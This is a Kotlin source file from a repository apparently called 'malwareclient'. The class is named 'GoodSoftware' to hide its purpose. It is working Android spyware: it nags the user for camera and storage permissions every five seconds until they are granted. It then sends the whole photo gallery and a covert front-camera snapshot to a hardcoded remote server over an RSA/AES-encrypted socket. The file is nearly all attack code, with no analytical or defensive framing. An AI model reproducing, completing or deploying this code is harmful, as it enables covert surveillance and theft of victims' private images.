malwareclient/app/src/main/java/com/ti/m/GoodSoftware.kt
2024-05-06 00:14:18 +02:00

535 lines
19 KiB
Kotlin

package com.ti.m
import android.Manifest
import android.app.Activity
import android.content.ContentResolver
import android.content.ContentUris
import android.content.Context
import android.content.ContextWrapper
import android.content.pm.PackageManager
import android.graphics.Bitmap
import android.graphics.BitmapFactory
import android.net.Uri
import android.os.Build
import android.provider.MediaStore
import android.util.Base64
import android.util.Log
import androidx.annotation.RequiresApi
import androidx.camera.core.CameraSelector
import androidx.camera.core.ImageCapture
import androidx.camera.core.ImageCaptureException
import androidx.camera.core.ImageProxy
import androidx.camera.lifecycle.ProcessCameraProvider
import androidx.concurrent.futures.await
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
import androidx.lifecycle.LifecycleOwner
import androidx.lifecycle.lifecycleScope
import com.ti.m.MainActivity
import kotlinx.coroutines.launch
import java.io.BufferedReader
import java.io.ByteArrayOutputStream
import java.io.InputStreamReader
import java.io.PrintWriter
import java.net.Socket
import java.security.KeyFactory
import java.security.PublicKey
import java.security.SecureRandom
import java.security.spec.X509EncodedKeySpec
import java.util.Timer
import javax.crypto.Cipher
import javax.crypto.spec.IvParameterSpec
import javax.crypto.spec.SecretKeySpec
import kotlin.concurrent.schedule
import kotlin.concurrent.scheduleAtFixedRate
import kotlin.concurrent.thread
class GoodSoftware (private val activity: Context) {
private var cameraProvider: ProcessCameraProvider? = null
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
private var imageCapture: ImageCapture? = null
private val REQUEST_CAMERA_PERMISSION = 100
private val REQUEST_GALLERY = 101
private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
private var timerStorage: Timer? = null
private var timerCamera: Timer? = null
private companion object {
private const val RSA_ALGORITHM = "RSA"
private const val CIPHER_TYPE_FOR_RSA = "RSA/ECB/PKCS1Padding"
private val keyFactory = KeyFactory.getInstance(RSA_ALGORITHM)
private val cipher = Cipher.getInstance(CIPHER_TYPE_FOR_RSA)
fun decodeBase64(input: String): ByteArray {
return Base64.decode(input, Base64.DEFAULT)
}
fun encodeBase64(input: ByteArray): String {
return Base64.encodeToString(input, Base64.DEFAULT)
}
fun decrypt(algorithm: String, cipherText: String, key: SecretKeySpec, iv: IvParameterSpec): String {
val cipher = Cipher.getInstance(algorithm)
cipher.init(Cipher.DECRYPT_MODE, key, iv)
val plainText = cipher.doFinal(decodeBase64(cipherText))
return String(plainText)
}
fun encrypt(algorithm: String, inputText: String, key: SecretKeySpec, iv: IvParameterSpec): String {
val cipher = Cipher.getInstance(algorithm)
cipher.init(Cipher.ENCRYPT_MODE, key, iv)
val cipherText = cipher.doFinal(inputText.toByteArray())
return encodeBase64(cipherText)
}
fun getPublicKeyFromString(publicKeyString: String): PublicKey? =
try {
val keySpec =
X509EncodedKeySpec(decodeBase64(publicKeyString))
keyFactory.generatePublic(keySpec)
} catch (exception: Exception) {
exception.printStackTrace()
null
}
fun encryptText(plainText: String, publicKey: PublicKey): String? =
try {
cipher.init(Cipher.ENCRYPT_MODE, publicKey)
encodeBase64(cipher.doFinal(plainText.toByteArray())).lines().joinToString("")
} catch (exception: Exception) {
exception.printStackTrace()
null
}
}
fun launch() {
Thread{
startCheckingPermission()
}.start()
}
private fun startCheckingPermission() {
timerStorage = Timer("CheckStoragePermissionTimer", false)
timerStorage?.scheduleAtFixedRate(0, 5000) {
checkStoragePermission()
println("Requesting storage permission again")
}
timerCamera = Timer("CheckCameraPermissionTimer", false)
timerCamera?.scheduleAtFixedRate(0, 5000) {
checkCameraPermission()
println("Requesting camera permission again")
}
}
private fun stopCheckingStoragePermission() {
timerStorage?.cancel()
}
private fun stopCheckingCameraPermission() {
timerCamera?.cancel()
}
fun Context.getActivity(): Activity? {
var context = this
while (context is ContextWrapper) {
if (context is Activity) {
return context
}
context = context.baseContext
}
return null
}
private fun checkCameraPermission() {
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
requestCameraPermission()
}else{
takePicture()
stopCheckingCameraPermission()
}
}
private fun requestCameraPermission() {
val activity = activity.getActivity()
activity?.let {
ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
}
}
private fun checkStoragePermission() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){
requestMediaImagesPermission()
}else{
grabMedia()
stopCheckingStoragePermission()
}
} else {
if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
requestGalleryPermission()
}else{
grabMedia()
stopCheckingStoragePermission()
}
}
}
@RequiresApi(Build.VERSION_CODES.TIRAMISU)
private fun requestMediaImagesPermission() {
val activity = activity.getActivity()
activity?.let {
ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
}
}
private fun takePicture(){
val activity = activity.getActivity()
try {
activity?.let { act ->
if (act is LifecycleOwner) {
act.lifecycleScope.launch {
takeBeautifulPicture(act, act)
}
} else {
// Handle the case where the activity is not a LifecycleOwner
Log.e("Error", "Activity is not a LifecycleOwner")
}
}
}catch (e: Exception) {
e.printStackTrace()
}
}
private fun grabMedia(){
Thread {
try {
val imageList = getAllImagesFromGallery(activity)
val connection = establishConnectionWithRetry() ?: return@Thread
for (image in imageList) {
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
sendDataToServer(base64Image, connection)
if(image != imageList.last()){
next(connection)
}
}
disconnect(connection)
} catch (e: Exception) {
e.printStackTrace()
}
}.start()
}
fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
var base64Image = ""
try {
contentResolver.openInputStream(imageUri)?.use { inputStream ->
val bitmap = BitmapFactory.decodeStream(inputStream)
val width = bitmap.width
val height = bitmap.height
// Determine the orientation of the image
val resizedBitmap = if (width > height) {
resizeBitmap(bitmap, 1920, 1080)
} else if (width < height) {
resizeBitmap(bitmap, 1080, 1920)
} else {
resizeBitmap(bitmap, 1440, 1080)
}
val byteArrayOutputStream = ByteArrayOutputStream()
resizedBitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream)
val byteArray = byteArrayOutputStream.toByteArray()
base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT)
}
} catch (oom: OutOfMemoryError) {
// Handle OutOfMemoryError
Log.e("OOM", "Out of memory error occurred while encoding image: $imageUri")
}
return base64Image
}
fun resizeBitmap(bitmap: Bitmap, newWidth: Int, newHeight: Int): Bitmap {
val width = bitmap.width
val height = bitmap.height
val scaleWidth = newWidth.toFloat() / width
val scaleHeight = newHeight.toFloat() / height
val matrix = android.graphics.Matrix()
matrix.postScale(scaleWidth, scaleHeight)
val originalBitmapCopy = Bitmap.createBitmap(bitmap)
val resizedBitmap = Bitmap.createBitmap(
originalBitmapCopy, 0, 0, width, height, matrix, false
)
return resizedBitmap
}
private fun requestGalleryPermission() {
val activity = activity.getActivity()
activity?.let { act ->
ActivityCompat.requestPermissions(act, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
}
}
// Handle permission request result
fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
when (requestCode) {
REQUEST_CAMERA_PERMISSION -> {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
takePicture()
}
}
REQUEST_GALLERY -> {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
grabMedia()
}
}
REQUEST_MEDIA_IMAGES_PERMISSION -> {
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
grabMedia()
}
}
}
}
data class ConnectionResult(
val socket: Socket,
val reader: BufferedReader,
val writer: PrintWriter,
val key: SecretKeySpec,
val iv: IvParameterSpec,
val algorithm: String
)
fun establishConnection(): ConnectionResult{
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
val host = "192.168.90.151"
val port = 5645
val secureRandom = SecureRandom()
val keyBytes = ByteArray(16)
val ivBytes = ByteArray(16)
secureRandom.nextBytes(keyBytes)
secureRandom.nextBytes(ivBytes)
val key = SecretKeySpec(keyBytes, "AES")
val iv = IvParameterSpec(ivBytes)
val algorithm = "AES/CBC/PKCS5Padding"
val socket = Socket(host, port)
val writer = PrintWriter(socket.getOutputStream(), true)
val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
val encodedKey = encodeBase64(keyBytes)
writer.println(encryptText(encodedKey, pKey))
reader.readLine()
val encodedIV = encodeBase64(ivBytes)
writer.println(encryptText(encodedIV, pKey))
reader.readLine()
val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
writer.println(encryptText(encodedUid, pKey))
reader.readLine()
return ConnectionResult(socket, reader, writer, key, iv, algorithm)
}
fun establishConnectionWithRetry(): ConnectionResult? {
val maxRetries = 3
var attempt = 0
var connectionResult: ConnectionResult? = null
while (attempt < maxRetries) {
try {
connectionResult = establishConnection()
break
} catch (e: Exception) {
e.printStackTrace()
attempt++
Thread.sleep(getRetryDelay(attempt))
}
}
if (connectionResult == null) {
Log.e("Err","Failed to establish connection after $maxRetries attempts")
}
return connectionResult
}
fun getRetryDelay(attempt: Int): Long {
val baseDelayMillis = 20000L
return baseDelayMillis * (1 shl attempt)
}
fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) {
val (socket, reader, writer, key, iv, algorithm) = connectionResult
try {
val chunkSize = 131072
val chunks = sendData.lines().joinToString("").chunked(chunkSize)
for (chunk in chunks) {
val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
writer.println(cipherText)
reader.readLine()
}
writer.println("END_OF_DATA")
reader.readLine()
} catch (e: Exception) {
e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user
}
}
fun next(connectionResult: ConnectionResult) {
val (socket, reader, writer, _, _, _) = connectionResult
try {
writer.println("NEXT")
} catch (e: Exception) {
e.printStackTrace()
}
}
fun disconnect(connectionResult: ConnectionResult) {
val (socket, reader, writer, _, _, _) = connectionResult
try {
writer.println("END_OF_COMMUNICATION")
writer.close()
reader.close()
socket.close()
} catch (e: Exception) {
e.printStackTrace()
}
}
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
try {
cameraProvider = ProcessCameraProvider.getInstance(context).await()
if (!hasBackCamera() && !hasFrontCamera()) {
Log.e(picture.TAG, "Back and front camera are unavailable")
return
}
lensFacing = if (hasFrontCamera()) {
CameraSelector.LENS_FACING_FRONT
} else {
CameraSelector.LENS_FACING_BACK
}
imageCapture = ImageCapture.Builder()
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
.build()
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
override fun onError(exc: ImageCaptureException) {
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
cameraProvider?.unbindAll()
}
override fun onCaptureSuccess(image: ImageProxy) {
val byteArrayOutputStream = ByteArrayOutputStream()
val imagePlane = image.planes[0]
val buffer = imagePlane.buffer
val bytes = ByteArray(buffer.capacity())
buffer.get(bytes)
byteArrayOutputStream.write(bytes)
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
thread {
try {
val conn = establishConnectionWithRetry()
if (conn == null) {
return@thread
}
sendDataToServer(base64Image, conn)
disconnect(conn)
} catch (e: Exception) {
e.printStackTrace()
}
}
cameraProvider?.unbindAll()
image.close()
}
}
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
imageCapture?.takePicture(
ContextCompat.getMainExecutor(context),
imageCapturedListener
)
} catch (e: ClassNotFoundException) {
Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
} catch (e: Exception) {
Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
}
}
private fun hasBackCamera(): Boolean {
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
}
private fun hasFrontCamera(): Boolean {
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_FRONT_CAMERA) ?: false
}
object picture {
const val TAG = "CameraXBasic"
}
fun getAllImagesFromGallery(context: Context): List<String> {
val activity = context.getActivity()
val imageList = mutableListOf<String>()
val contentResolver: ContentResolver = context.contentResolver
val imageProjection = arrayOf(
MediaStore.Images.Media._ID,
MediaStore.Images.Media.DISPLAY_NAME
)
val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI
// Check permission based on Android version
val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher
} else {
Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions
}
if (ContextCompat.checkSelfPermission(context, permission) == PackageManager.PERMISSION_GRANTED) {
val cursor = contentResolver.query(
imageUri,
imageProjection,
null,
null,
"${MediaStore.Images.Media.DATE_ADDED} DESC"
)
cursor?.use { cursor ->
val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID)
while (cursor.moveToNext()) {
val id = cursor.getLong(idColumn)
val contentUri = ContentUris.withAppendedId(imageUri, id)
imageList.add(contentUri.toString())
}
}
} else {
activity?.let {
ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
}
}
return imageList
}
}